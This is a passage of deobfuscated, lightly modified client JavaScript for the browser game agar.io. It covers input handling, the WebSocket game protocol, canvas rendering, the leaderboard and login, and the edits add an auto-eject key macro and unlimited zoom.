more mass!<br />Level up to get even more starting mass!', 'create_party_instructions': 'Give this link to your friends:', 'join_party_instructions': 'Your friend should have given you a code, type it here:', 'continue': 'Continuar', 'option_skip_stats': 'Pular Estatísticas', 'stats_food_eaten': 'Alim. ingeridos', 'stats_highest_mass': 'highest mass', 'stats_time_alive': 'Tempo Vivo', 'stats_leaderboard_time': 'Tempo no Rank', 'stats_cells_eaten': 'Células Ingeridas', 'stats_top_position': 'Posição Rankeada?', '': '' }, '?': {} }; i18n_lang = (window.navigator.userLanguage || window.navigator.language || 'en').split('-')[0]; if (!i18n_dict.hasOwnProperty(i18n_lang)) { i18n_lang = 'en'; } i18n = i18n_dict[i18n_lang]; (function(window, $) { function Init() { g_drawLines = true; PlayerStats(); setInterval(PlayerStats, 180000); g_canvas = g_canvas_ = document.getElementById('canvas'); g_context = g_canvas.getContext('2d'); g_canvas.onmousedown = function(event) { if (g_touchCapable) { var deltaX = event.clientX - (5 + g_protocol / 5 / 2); var deltaY = event.clientY - (5 + g_protocol / 5 / 2); if (Math.sqrt(deltaX * deltaX + deltaY * deltaY) <= g_protocol / 5 / 2) { SendPos(); SendCmd(17); return; } } g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); SendPos(); }; g_canvas.onmousemove = function(event) { g_mouseX = event.clientX; g_mouseY = event.clientY; UpdatePos(); }; g_canvas.onmouseup = function() {}; if (/firefox/i.test(navigator.userAgent)) { document.addEventListener('DOMMouseScroll', WheelHandler, false); } else { document.body.onmousewheel = WheelHandler; } var spaceDown = false; var cachedSkin = false; var wkeyDown = false; var keyEPressed = false; //EDITED window.onkeydown = function(event) { if (!(32 != event.keyCode || spaceDown)) { SendPos(); SendCmd(17); spaceDown = true; } if (!(81 != event.keyCode || cachedSkin)) { SendCmd(18); cachedSkin = true; } if (!(87 != event.keyCode || wkeyDown)) { SendPos(); SendCmd(21); wkeyDown = true; } if (69 == event.keyCode) { //EDITED if (!keyEPressed) { keyEPressed = true; timerE(); } } if (27 == event.keyCode) { __unmatched_10(300); } }; window.onkeyup = function(event) { if (32 == event.keyCode) { spaceDown = false; } if (87 == event.keyCode) { wkeyDown = false; } if (81 == event.keyCode && cachedSkin) { SendCmd(19); cachedSkin = false; } if (69 == event.keyCode) { //EDITED if (keyEPressed) { keyEPressed = false; } } }; window.onblur = function() { SendCmd(19); wkeyDown = cachedSkin = spaceDown = keyEPressed = false; //EDITED }; function timerE () { //EDITED if (keyEPressed) { SendPos(); SendCmd(21); setInterval(timerE, 200); } } window.onresize = ResizeHandler; window.requestAnimationFrame(__unmatched_130); setInterval(SendPos, 40); if (g_region) { $('#region').val(g_region); } SyncRegion(); SetRegion($('#region').val()); $.each(g_skinNamesA, function(v, node) { //EDITED $("#nicks").append($("<option></option>").attr("value", v).text(node)); }); if (0 == __unmatched_112 && g_region) { Start(); } __unmatched_10(0); ResizeHandler(); if (window.location.hash && 6 <= window.location.hash.length) { RenderLoop(window.location.hash); } } function WheelHandler(event) { g_zoom *= Math.pow(0.9, event.wheelDelta / -120 || event.detail || 0); if(!isUnlimitedZoom) { if (1 > g_zoom) { g_zoom = 1; } if (g_zoom > 4 / g_scale) { g_zoom = 4 / g_scale; } } } function UpdateTree() { if (0.4 > g_scale) { g_pointTree = null; } else { for (var minX = Number.POSITIVE_INFINITY, minY = Number.POSITIVE_INFINITY, maxX = Number.NEGATIVE_INFINITY, maxY = Number.NEGATIVE_INFINITY, maxSize = 0, i = 0; i < g_cells.length; i++) { var cell = g_cells[i]; if (!(!cell.N() || cell.R || 20 >= cell.size * g_scale)) { maxSize = Math.max(cell.size, maxSize); minX = Math.min(cell.x, minX); minY = Math.min(cell.y, minY); maxX = Math.max(cell.x, maxX); maxY = Math.max(cell.y, maxY); } } g_pointTree = QTreeFactory.la({ ca: minX - (maxSize + 100), da: minY - (maxSize + 100), oa: maxX + (maxSize + 100), pa: maxY + (maxSize + 100), ma: 2, na: 4 }); for (i = 0; i < g_cells.length; i++) { if (cell = g_cells[i], cell.N() && !(20 >= cell.size * g_scale)) { for (minX = 0; minX < cell.a.length; ++minX) { minY = cell.a[minX].x; maxX = cell.a[minX].y; if (!(minY < g_viewX - g_protocol / 2 / g_scale || maxX < g_viewY - __unmatched_60 / 2 / g_scale || minY > g_viewX + g_protocol / 2 / g_scale || maxX > g_viewY + __unmatched_60 / 2 / g_scale)) { g_pointTree.m(cell.a[minX]); } } } } } } function UpdatePos() { g_moveX = (g_mouseX - g_protocol / 2) / g_scale + g_viewX; g_moveY = (g_mouseY - __unmatched_60 / 2) / g_scale + g_viewY; } function PlayerStats() { if (null == g_regionLabels) { g_regionLabels = {}; $('#region').children().each(function() { var $this = $(this); var val = $this.val(); if (val) { g_regionLabels[val] = $this.text(); } }); } $.get('https://m.agar.io/info', function(data) { var regionNumPlayers = {}; var region; for (region in data.regions) { var region_ = region.split(':')[0]; regionNumPlayers[region_] = regionNumPlayers[region_] || 0; regionNumPlayers[region_] += data.regions[region].numPlayers; } for (region in regionNumPlayers) { $('#region option[value="' + region + '"]').text(g_regionLabels[region] + ' (' + regionNumPlayers[region] + ' players)'); } }, 'json'); } function HideOverlay() { $('#adsBottom').hide(); $('#overlays').hide(); $('#stats').hide(); $('#mainPanel').hide(); __unmatched_141 = g_playerCellDestroyed = false; SyncRegion(); if (window.googletag && window.googletag.pubads && window.googletag.pubads().clear) { window.googletag.pubads().clear(window.aa.concat(window.ab)); } } function SetRegion(val) { if (val && val != g_region) { if ($('#region').val() != val) { $('#region').val(val); } g_region = window.localStorage.location = val; $('.region-message').hide(); $('.region-message.' + val).show(); $('.btn-needs-server').prop('disabled', false); if (g_drawLines) { Start(); } } } function __unmatched_10(char) { if (!(g_playerCellDestroyed || __unmatched_141)) { $('#adsBottom').show(); g_nick = null; __unmatched_13(window.aa); if (1000 > char) { qkeyDown = 1; } g_playerCellDestroyed = true; $('#mainPanel').show(); if (0 < char) { $('#overlays').fadeIn(char); } else { $('#overlays').show(); } } } function Render(__unmatched_174) { $('#helloContainer').attr('data-gamemode', __unmatched_174); __unmatched_95 = __unmatched_174; $('#gamemode').val(__unmatched_174); } function SyncRegion() { if ($('#region').val()) { window.localStorage.location = $('#region').val(); } else if (window.localStorage.location) { $('#region').val(window.localStorage.location); } if ($('#region').val()) { $('#locationKnown').append($('#region')); } else { $('#locationUnknown').append($('#region')); } } function __unmatched_13(__unmatched_175) { if (window.googletag) { window.googletag.cmd.push(function() { if (g_canRefreshAds) { g_canRefreshAds = false; setTimeout(function() { g_canRefreshAds = true; }, 60000 * g_refreshAdsCooldown); if (window.googletag && window.googletag.pubads && window.googletag.pubads().refresh) { window.googletag.pubads().refresh(__unmatched_175); } } }); } } function __unmatched_14(i_) { return window.i18n[i_] || window.i18n_dict.en[i_] || i_; } function FindGame() { var __unmatched_177 = ++__unmatched_112; console.log('Find ' + g_region + __unmatched_95); $.ajax('https://m.agar.io/', { error: function() { setTimeout(FindGame, 1000); }, success: function(__unmatched_178) { __unmatched_178 = __unmatched_178.split('\n'); Connect('ws://' + __unmatched_178[0], __unmatched_178[1]); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: (g_region + __unmatched_95 || '?') + '\n154669603' }); } function Start() { if (g_drawLines && g_region) { $('#connecting').show(); FindGame(); } } function Connect(address, ticket) { if (points) { points.onopen = null; points.onmessage = null; points.onclose = null; try { points.close(); } catch (exception) {} points = null; } if (__unmatched_113.ip) { address = 'ws://' + __unmatched_113.ip; } if (null != __unmatched_121) { var __unmatched_181 = __unmatched_121; __unmatched_121 = function() { __unmatched_181(ticket); }; } if (g_secure) { var parts = address.split(':'); address = parts[0] + 's://ip-' + parts[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + (+parts[2] + 2000); } g_playerCellIds = []; g_playerCells = []; g_cellsById = {}; g_cells = []; g_destroyedCells = []; g_scoreEntries = []; g_leaderboardCanvas = g_scorePartitions = null; g_maxScore = 0; g_connectSuccessful = false; console.log('Connecting to ' + address); points = new WebSocket(address); points.binaryType = 'arraybuffer'; points.onopen = function() { var data; console.log('socket open'); data = GetBuffer(5); data.setUint8(0, 254); data.setUint32(1, 5, true); SendBuffer(data); data = GetBuffer(5); data.setUint8(0, 255); data.setUint32(1, 154669603, true); SendBuffer(data); data = GetBuffer(1 + ticket.length); data.setUint8(0, 80); for (var i = 0; i < ticket.length; ++i) { data.setUint8(i + 1, ticket.charCodeAt(i)); } SendBuffer(data); RefreshAds(); }; points.onmessage = MessageHandler; points.onclose = CloseHandler; points.onerror = function() { console.log('socket error'); }; } function GetBuffer(size) { return new DataView(new ArrayBuffer(size)); } function SendBuffer(data) { points.send(data.buffer); } function CloseHandler() { if (g_connectSuccessful) { g_retryTimeout = 500; } console.log('socket close'); setTimeout(Start, g_retryTimeout); g_retryTimeout *= 2; } function MessageHandler(data) { Receive(new DataView(data.data)); } function Receive(data) { function __unmatched_190() { for (var string = '';;) { var char = data.getUint16(pos, true); pos += 2; if (0 == char) { break; } string += String.fromCharCode(char); } return string; } var pos = 0; if (240 == data.getUint8(pos)) { pos += 5; } switch (data.getUint8(pos++)) { case 16: ParseCellUpdates(data, pos); break; case 17: g_viewX_ = data.getFloat32(pos, true); pos += 4; g_viewY_ = data.getFloat32(pos, true); pos += 4; g_scale_ = data.getFloat32(pos, true); pos += 4; break; case 20: g_playerCells = []; g_playerCellIds = []; break; case 21: g_linesY_ = data.getInt16(pos, true); pos += 2; g_linesX_ = data.getInt16(pos, true); pos += 2; if (!g_ready) { g_ready = true; g_linesX = g_linesY_; g_linesY = g_linesX_; } break; case 32: g_playerCellIds.push(data.getUint32(pos, true)); pos += 4; break; case 49: if (null != g_scorePartitions) { break; } var num = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries = []; for (var i = 0; i < num; ++i) { var id = data.getUint32(pos, true); var pos = pos + 4; g_scoreEntries.push({ id: id, name: __unmatched_190() }); } UpdateLeaderboard(); break; case 50: g_scorePartitions = []; num = data.getUint32(pos, true); pos += 4; for (i = 0; i < num; ++i) { g_scorePartitions.push(data.getFloat32(pos, true)); pos += 4; } UpdateLeaderboard(); break; case 64: g_minX = data.getFloat64(pos, true); pos += 8; g_minY = data.getFloat64(pos, true); pos += 8; g_maxX = data.getFloat64(pos, true); pos += 8; g_maxY = data.getFloat64(pos, true); pos += 8; g_viewX_ = (g_maxX + g_minX) / 2; g_viewY_ = (g_maxY + g_minY) / 2; g_scale_ = 1; if (0 == g_playerCells.length) { g_viewX = g_viewX_; g_viewY = g_viewY_; g_scale = g_scale_; } break; case 81: var x = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_196 = data.getUint32(pos, true); var pos = pos + 4; var __unmatched_197 = data.getUint32(pos, true); var pos = pos + 4; setTimeout(function() { __unmatched_43({ e: x, f: __unmatched_196, d: __unmatched_197 }); }, 1200); } } function ParseCellUpdates(data, pos) { function __unmatched_202() { for (var string = '';;) { var id = data.getUint16(pos, true); pos += 2; if (0 == id) { break; } string += String.fromCharCode(id); } return string; } function __unmatched_203() { for (var __unmatched_218 = '';;) { var r = data.getUint8(pos++); if (0 == r) { break; } __unmatched_218 += String.fromCharCode(r); } return __unmatched_218; } __unmatched_107 = g_time = Date.now(); if (!g_connectSuccessful) { g_connectSuccessful = true; __unmatched_24(); } __unmatched_88 = false; var num = data.getUint16(pos, true); pos += 2; for (var i = 0; i < num; ++i) { var cellA = g_cellsById[data.getUint32(pos, true)]; var cellB = g_cellsById[data.getUint32(pos + 4, true)]; pos += 8; if (cellA && cellB) { cellB.X(); cellB.s = cellB.x; cellB.t = cellB.y; cellB.r = cellB.size; cellB.J = cellA.x; cellB.K = cellA.y; cellB.q = cellB.size; cellB.Q = g_time; __unmatched_49(cellA, cellB); } } for (i = 0;;) { num = data.getUint32(pos, true); pos += 4; if (0 == num) { break; } ++i; var size; var cellA = data.getInt32(pos, true); pos += 4; cellB = data.getInt32(pos, true); pos += 4; size = data.getInt16(pos, true); pos += 2; var flags = data.getUint8(pos++); var y = data.getUint8(pos++); var b = data.getUint8(pos++); var y = __unmatched_40(flags << 16 | y << 8 | b); var b = data.getUint8(pos++); var isVirus = !!(b & 1); var isAgitated = !!(b & 16); var __unmatched_214 = null; if (b & 2) { pos += 4 + data.getUint32(pos, true); } if (b & 4) { __unmatched_214 = __unmatched_203(); } var name = __unmatched_202(); var flags = null; if (g_cellsById.hasOwnProperty(num)) { flags = g_cellsById[num]; flags.P(); flags.s = flags.x; flags.t = flags.y; flags.r = flags.size; flags.color = y; } else { flags = new Cell(num, cellA, cellB, size, y, name); g_cells.push(flags); g_cellsById[num] = flags; flags.ta = cellA; flags.ua = cellB; } flags.h = isVirus; flags.n = isAgitated; flags.J = cellA; flags.K = cellB; flags.q = size; flags.Q = g_time; flags.ba = b; flags.fa = __unmatched_214; if (name) { flags.B(name); } if (-1 != g_playerCellIds.indexOf(num) && -1 == g_playerCells.indexOf(flags)) { g_playerCells.push(flags); if (1 == g_playerCells.length) { g_viewX = flags.x; g_viewY = flags.y; __unmatched_136(); document.getElementById('overlays').style.display = 'none'; cached = []; __unmatched_139 = 0; __unmatched_140 = g_playerCells[0].color; __unmatched_142 = true; __unmatched_143 = Date.now(); g_mode = __unmatched_146 = __unmatched_145 = 0; } } } cellA = data.getUint32(pos, true); pos += 4; for (i = 0; i < cellA; i++) { num = data.getUint32(pos, true); pos += 4; flags = g_cellsById[num]; if (null != flags) { flags.X(); } } if (__unmatched_88 && 0 == g_playerCells.length) { __unmatched_144 = Date.now(); __unmatched_142 = false; if (!(g_playerCellDestroyed || __unmatched_141)) { if (__unmatched_148) { __unmatched_13(window.ab); ShowOverlay(); __unmatched_141 = true; $('#overlays').fadeIn(3000); $('#stats').show(); } else { __unmatched_10(3000); } } } } function __unmatched_24() { $('#connecting').hide(); SendNick(); if (__unmatched_121) { __unmatched_121(); __unmatched_121 = null; } if (null != __unmatched_123) { clearTimeout(__unmatched_123); } __unmatched_123 = setTimeout(function() { if (window.ga) { ++__unmatched_124; window.ga('set', 'dimension2', __unmatched_124); } }, 10000); } function SendPos() { if (IsConnected()) { var deltaY = g_mouseX - g_protocol / 2; var delta = g_mouseY - __unmatched_60 / 2; if (!(64 > deltaY * deltaY + delta * delta || 0.01 > Math.abs(g_lastMoveY - g_moveX) && 0.01 > Math.abs(g_lastMoveX - g_moveY))) { g_lastMoveY = g_moveX; g_lastMoveX = g_moveY; deltaY = GetBuffer(21); deltaY.setUint8(0, 16); deltaY.setFloat64(1, g_moveX, true); deltaY.setFloat64(9, g_moveY, true); deltaY.setUint32(17, 0, true); SendBuffer(deltaY); } } } function SendNick() { if (IsConnected() && g_connectSuccessful && null != g_nick) { var data = GetBuffer(1 + 2 * g_nick.length); data.setUint8(0, 0); for (var i = 0; i < g_nick.length; ++i) { data.setUint16(1 + 2 * i, g_nick.charCodeAt(i), true); } SendBuffer(data); g_nick = null; } } function IsConnected() { return null != points && points.readyState == points.OPEN; } function SendCmd(cmd) { if (IsConnected()) { var data = GetBuffer(1); data.setUint8(0, cmd); SendBuffer(data); } } function RefreshAds() { if (IsConnected() && null != __unmatched_108) { var __unmatched_226 = GetBuffer(1 + __unmatched_108.length); __unmatched_226.setUint8(0, 81); for (var y = 0; y < __unmatched_108.length; ++y) { __unmatched_226.setUint8(y + 1, __unmatched_108.charCodeAt(y)); } SendBuffer(__unmatched_226); } } function ResizeHandler() { g_protocol = window.innerWidth; __unmatched_60 = window.innerHeight; g_canvas_.width = g_canvas.width = g_protocol; g_canvas_.height = g_canvas.height = __unmatched_60; var $dialog = $('#helloContainer'); $dialog.css('transform', 'none'); var dialogHeight = $dialog.height(); var height = window.innerHeight; if (dialogHeight > height / 1.1) { $dialog.css('transform', 'translate(-50%, -50%) scale(' + height / dialogHeight / 1.1 + ')'); } else { $dialog.css('transform', 'translate(-50%, -50%)'); } GetScore(); } function ScaleModifier() { var scale; scale = 1 * Math.max(__unmatched_60 / 1080, g_protocol / 1920); return scale *= g_zoom; } function __unmatched_32() { if (0 != g_playerCells.length) { for (var scale = 0, i = 0; i < g_playerCells.length; i++) { scale += g_playerCells[i].size; } scale = Math.pow(Math.min(64 / scale, 1), 0.4) * ScaleModifier(); g_scale = (9 * g_scale + scale) / 10; } } function GetScore() { var x; var time = Date.now(); ++__unmatched_75; g_time = time; if (0 < g_playerCells.length) { __unmatched_32(); for (var y = x = 0, i = 0; i < g_playerCells.length; i++) { g_playerCells[i].P(); x += g_playerCells[i].x / g_playerCells.length; y += g_playerCells[i].y / g_playerCells.length; } g_viewX_ = x; g_viewY_ = y; g_scale_ = g_scale; g_viewX = (g_viewX + x) / 2; g_viewY = (g_viewY + y) / 2; } else { g_viewX = (29 * g_viewX + g_viewX_) / 30; g_viewY = (29 * g_viewY + g_viewY_) / 30; g_scale = (9 * g_scale + g_scale_ * ScaleModifier()) / 10; } UpdateTree(); UpdatePos(); if (!g_showTrails) { g_context.clearRect(0, 0, g_protocol, __unmatched_60); } if (g_showTrails) { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.globalAlpha = 0.05; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } else { DrawGrid(); } g_cells.sort(function(A, B) { return A.size == B.size ? A.id - B.id : A.size - B.size; }); g_context.save(); g_context.translate(g_protocol / 2, __unmatched_60 / 2); g_context.scale(g_scale, g_scale); g_context.translate(-g_viewX, -g_viewY); drawBorders(); drawLogo(); myMass = Math.min.apply(null, g_playerCells.map(function(r) { return r.N(); })) for (i = 0; i < g_destroyedCells.length; i++) { g_destroyedCells[i].w(g_context); } for (i = 0; i < g_cells.length; i++) { g_cells[i].w(g_context); } if (g_ready) { g_linesX = (3 * g_linesX + g_linesY_) / 4; g_linesY = (3 * g_linesY + g_linesX_) / 4; g_context.save(); g_context.strokeStyle = '#FFAAAA'; g_context.lineWidth = 10; g_context.lineCap = 'round'; g_context.lineJoin = 'round'; g_context.globalAlpha = 0.5; g_context.beginPath(); for (i = 0; i < g_playerCells.length; i++) { g_context.moveTo(g_playerCells[i].x, g_playerCells[i].y); g_context.lineTo(g_linesX, g_linesY); } g_context.stroke(); g_context.restore(); } g_context.restore(); if (g_leaderboardCanvas && g_leaderboardCanvas.width) { g_context.drawImage(g_leaderboardCanvas, g_protocol - g_leaderboardCanvas.width - 10, 10); } g_maxScore = Math.max(g_maxScore, __unmatched_36()); if (0 != g_maxScore) { if (null == g_cachedScore) { g_cachedScore = new CachedCanvas(24, '#FFFFFF'); } g_cachedScore.C(__unmatched_14('score') + ': ' + ~~(g_maxScore / 100)); y = g_cachedScore.L(); x = y.width; g_context.globalAlpha = 0.2; g_context.fillStyle = '#000000'; g_context.fillRect(10, __unmatched_60 - 10 - 24 - 10, x + 10, 34); g_context.globalAlpha = 1; g_context.drawImage(y, 15, __unmatched_60 - 10 - 24 - 5); } DrawSplitImage(); time = Date.now() - time; if (time > 1000 / 60) { g_pointNumScale -= 0.01; } else if (time < 1000 / 65) { g_pointNumScale += 0.01; } if (0.4 > g_pointNumScale) { g_pointNumScale = 0.4; } if (1 < g_pointNumScale) { g_pointNumScale = 1; } time = g_time - __unmatched_77; if (!IsConnected() || g_playerCellDestroyed || __unmatched_141) { qkeyDown += time / 2000; if (1 < qkeyDown) { qkeyDown = 1; } } else { qkeyDown -= time / 300; if (0 > qkeyDown) { qkeyDown = 0; } } if (0 < qkeyDown) { g_context.fillStyle = '#000000'; g_context.globalAlpha = 0.5 * qkeyDown; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.globalAlpha = 1; } __unmatched_77 = g_time; } function DrawGrid() { g_context.fillStyle = g_showMass ? '#111111' : '#F2FBFF'; g_context.fillRect(0, 0, g_protocol, __unmatched_60); g_context.save(); g_context.strokeStyle = g_showMass ? '#AAAAAA' : '#000000'; g_context.globalAlpha = 0.2 * g_scale; for (var width = g_protocol / g_scale, height = __unmatched_60 / g_scale, g_width = (-g_viewX + width / 2) % 50; g_width < width; g_width += 50) { g_context.beginPath(); g_context.moveTo(g_width * g_scale - 0.5, 0); g_context.lineTo(g_width * g_scale - 0.5, height * g_scale); g_context.stroke(); } for (g_width = (-g_viewY + height / 2) % 50; g_width < height; g_width += 50) { g_context.beginPath(); g_context.moveTo(0, g_width * g_scale - 0.5); g_context.lineTo(width * g_scale, g_width * g_scale - 0.5); g_context.stroke(); } g_context.restore(); } function DrawSplitImage() { if (g_touchCapable && g_splitImage.width) { var size = g_protocol / 5; g_context.drawImage(g_splitImage, 5, 5, size, size); } } function __unmatched_36() { for (var score = 0, i = 0; i < g_playerCells.length; i++) { score += g_playerCells[i].q * g_playerCells[i].q; } return score; } function UpdateLeaderboard() { g_leaderboardCanvas = null; if (null != g_scorePartitions || 0 != g_scoreEntries.length) { if (null != g_scorePartitions || g_showNames) { g_leaderboardCanvas = document.createElement('canvas'); var context = g_leaderboardCanvas.getContext('2d'); var height = 60; var height = null == g_scorePartitions ? height + 24 * g_scoreEntries.length : height + 180; var scale = Math.min(200, 0.3 * g_protocol) / 200; g_leaderboardCanvas.width = 200 * scale; g_leaderboardCanvas.height = height * scale; context.scale(scale, scale); context.globalAlpha = 0.4; context.fillStyle = '#000000'; context.fillRect(0, 0, 200, height); context.globalAlpha = 1; context.fillStyle = '#FFFFFF'; scale = null; scale = __unmatched_14('leaderboard'); context.font = '30px Ubuntu'; context.fillText(scale, 100 - context.measureText(scale).width / 2, 40); if (null == g_scorePartitions) { for (context.font = '20px Ubuntu', height = 0; height < g_scoreEntries.length; ++height) { scale = g_scoreEntries[height].name || __unmatched_14('unnamed_cell'); if (!g_showNames) { scale = __unmatched_14('unnamed_cell'); } if (-1 != g_playerCellIds.indexOf(g_scoreEntries[height].id)) { if (g_playerCells[0].name) { scale = g_playerCells[0].name; } context.fillStyle = '#FFAAAA'; } else { context.fillStyle = '#FFFFFF'; } scale = height + 1 + '. ' + scale; context.fillText(scale, 100 - context.measureText(scale).width / 2, 70 + 24 * height); } } else { for (height = scale = 0; height < g_scorePartitions.length; ++height) { var end = scale + g_scorePartitions[height] * Math.PI * 2; context.fillStyle = g_teamColors[height + 1]; context.beginPath(); context.moveTo(100, 140); context.arc(100, 140, 80, scale, end, false); context.fill(); scale = end; } } } } } function __unmatched_38(__unmatched_250, __unmatched_251, __unmatched_252, __unmatched_253, __unmatched_254) { this.V = __unmatched_250; this.x = __unmatched_251; this.y = __unmatched_252; this.i = __unmatched_253; this.b = __unmatched_254; } function Cell(id, x, y, size, color, name) { this.id = id; this.s = this.x = x; this.t = this.y = y; this.r = this.size = size; this.color = color; this.a = []; this.W(); this.B(name); } function __unmatched_40(__unmatched_261) { for (__unmatched_261 = __unmatched_261.toString(16); 6 > __unmatched_261.length;) { __unmatched_261 = '0' + __unmatched_261; } return '#' + __unmatched_261; } function drawBorders() { g_context.save() g_context.beginPath(); g_context.lineWidth = 1; g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapStartX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapStartY()); g_context.stroke(); g_context.moveTo(getMapEndX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapEndY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.restore(); } function drawLogo(){ var logoimage = new Image(); logoimage.src = "img/split.png"; var width = this.j / 2; var dim = width / 2; g_context.save(); g_context.beginPath(); g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX()/2, getMapStartX()/2); g_context.lineTo(getMapStartX()/2, getMapStartX()/2); g_context.stroke(); g_context.restore(); } function CachedCanvas(size, color, stroke, strokeColor) { if (size) { this.u = size; } if (color) { this.S = color; } this.U = !!stroke; if (strokeColor) { this.v = strokeColor; } } function __unmatched_42(__unmatched_266) { for (var size_ = __unmatched_266.length, __unmatched_268, __unmatched_269; 0 < size_;) { __unmatched_269 = Math.floor(Math.random() * size_); size_--; __unmatched_268 = __unmatched_266[size_]; __unmatched_266[size_] = __unmatched_266[__unmatched_269]; __unmatched_266[__unmatched_269] = __unmatched_268; } } function __unmatched_43(g_socket, __unmatched_271) { var noClip = '1' == $('#helloContainer').attr('data-has-account-data'); $('#helloContainer').attr('data-has-account-data', '1'); if (null == __unmatched_271 && window.localStorage.loginCache) { var rand = JSON.parse(window.localStorage.loginCache); rand.f = g_socket.f; rand.d = g_socket.d; rand.e = g_socket.e; window.localStorage.loginCache = JSON.stringify(rand); } if (noClip) { var __unmatched_274 = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[0]; var noClip = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[1].split(' ')[0]; var rand = $('.agario-profile-panel .progress-bar-star').first().text(); if (rand != g_socket.e) { __unmatched_43({ f: noClip, d: noClip, e: rand }, function() { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar').css('width', '100%'); $('.progress-bar-star').addClass('animated tada').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function() { $('.progress-bar-star').removeClass('animated tada'); }); setTimeout(function() { $('.agario-exp-bar .progress-bar-text').text(g_socket.d + '/' + g_socket.d + ' XP'); __unmatched_43({ f: 0, d: g_socket.d, e: g_socket.e }, function() { __unmatched_43(g_socket, __unmatched_271); }); }, 1000); }); } else { var __unmatched_275 = Date.now(); var name = function() { var deltaX; deltaX = (Date.now() - __unmatched_275) / 1000; deltaX = 0 > deltaX ? 0 : 1 < deltaX ? 1 : deltaX; deltaX = deltaX * deltaX * (3 - 2 * deltaX); $('.agario-exp-bar .progress-bar-text').text(~~(__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * (__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) / g_socket.d).toFixed(2) + '%'); if (1 > deltaX) { window.requestAnimationFrame(name); } else if (__unmatched_271) { __unmatched_271(); } }; window.requestAnimationFrame(name); } } else { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar-text').text(g_socket.f + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * g_socket.f / g_socket.d).toFixed(2) + '%'); if (__unmatched_271) { __unmatched_271(); } } } function __unmatched_44(__unmatched_278) { if ('string' == typeof __unmatched_278) { __unmatched_278 = JSON.parse(__unmatched_278); } if (Date.now() + 1800000 > __unmatched_278.ka) { $('#helloContainer').attr('data-logged-in', '0'); } else { window.localStorage.loginCache = JSON.stringify(__unmatched_278); __unmatched_108 = __unmatched_278.ha; $('.agario-profile-name').text(__unmatched_278.name); RefreshAds(); __unmatched_43({ f: __unmatched_278.f, d: __unmatched_278.d, e: __unmatched_278.e }); $('#helloContainer').attr('data-logged-in', '1'); } } function __unmatched_45(data) { data = data.split('\n'); __unmatched_44({ name: data[0], sa: data[1], ha: data[2], ka: 1000 * +data[3], e: +data[4], f: +data[5], d: +data[6] }); } function UpdateScale(__unmatched_280) { if ('connected' == __unmatched_280.status) { var x = __unmatched_280.authResponse.accessToken; window.FB.api('/me/picture?width=180&height=180', function(__unmatched_282) { window.localStorage.fbPictureCache = __unmatched_282.data.url; $('.agario-profile-picture').attr('src', __unmatched_282.data.url); }); $('#helloContainer').attr('data-logged-in', '1'); if (null != __unmatched_108) { $.ajax('https://m.agar.io/checkToken', { error: function() { __unmatched_108 = null; UpdateScale(__unmatched_280); }, success: function(__unmatched_283) { __unmatched_283 = __unmatched_283.split('\n'); __unmatched_43({ e: +__unmatched_283[0], f: +__unmatched_283[1], d: +__unmatched_283[2] }); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: __unmatched_108 }); } else { $.ajax('https://m.agar.io/facebookLogin', { error: function() { __unmatched_108 = null; $('#helloContainer').attr('data-logged-in', '0'); }, success: __unmatched_45, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } } } function RenderLoop(x) { Render(':party'); $('#helloContainer').attr('data-party-state', '4'); x = decodeURIComponent(x).replace(/.*#/gim, ''); __unmatched_48('#' + window.encodeURIComponent(x)); $.ajax('https://m.agar.io/getToken', { error: function() { $('#helloContainer').attr('data-party-state', '6'); }, success: function(quick) { quick = quick.split('\n'); $('.partyToken').val('agar.io/#' + window.encodeURIComponent(x)); $('#helloContainer').attr('data-party-state', '5'); Render(':party'); Connect('ws://' + quick[0], x); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } function __unmatched_48(__unmatched_286) { if (window.history && window.history.replaceState) { window.history.replaceState({}, window.document.title, __unmatched_286); } } function __unmatched_49(__unmatched_287, __unmatched_288) { var playerOwned = -1 != g_playerCellIds.indexOf(__unmatched_287.id); var __unmatched_290 = -1 != g_playerCellIds.indexOf(__unmatched_288.id); var __unmatched_291 = 30 > __unmatched_288.size; if (playerOwned && __unmatched_291) { ++__unmatched_139; } if (!(__unmatched_291 || !playerOwned || __unmatched_290)) { ++__unmatched_146; } } function __unmatched_50(__unmatched_292) { __unmatched_292 = ~~__unmatched_292; var color = (__unmatched_292 % 60).toString(); __unmatched_292 = (~~(__unmatched_292 / 60)).toString(); if (2 > color.length) { color = '0' + color; } return __unmatched_292 + ':' + color; } function __unmatched_51() { if (null == g_scoreEntries) { return 0; } for (var i = 0; i < g_scoreEntries.length; ++i) { if (-1 != g_playerCellIds.indexOf(g_scoreEntries[i].id)) { return i + 1; } } return 0; } function ShowOverlay() { $('.stats-food-eaten').text(__unmatched_139); $('.stats-time-alive').text(__unmatched_50((__unmatched_144 - __unmatched_143) / 1000)); 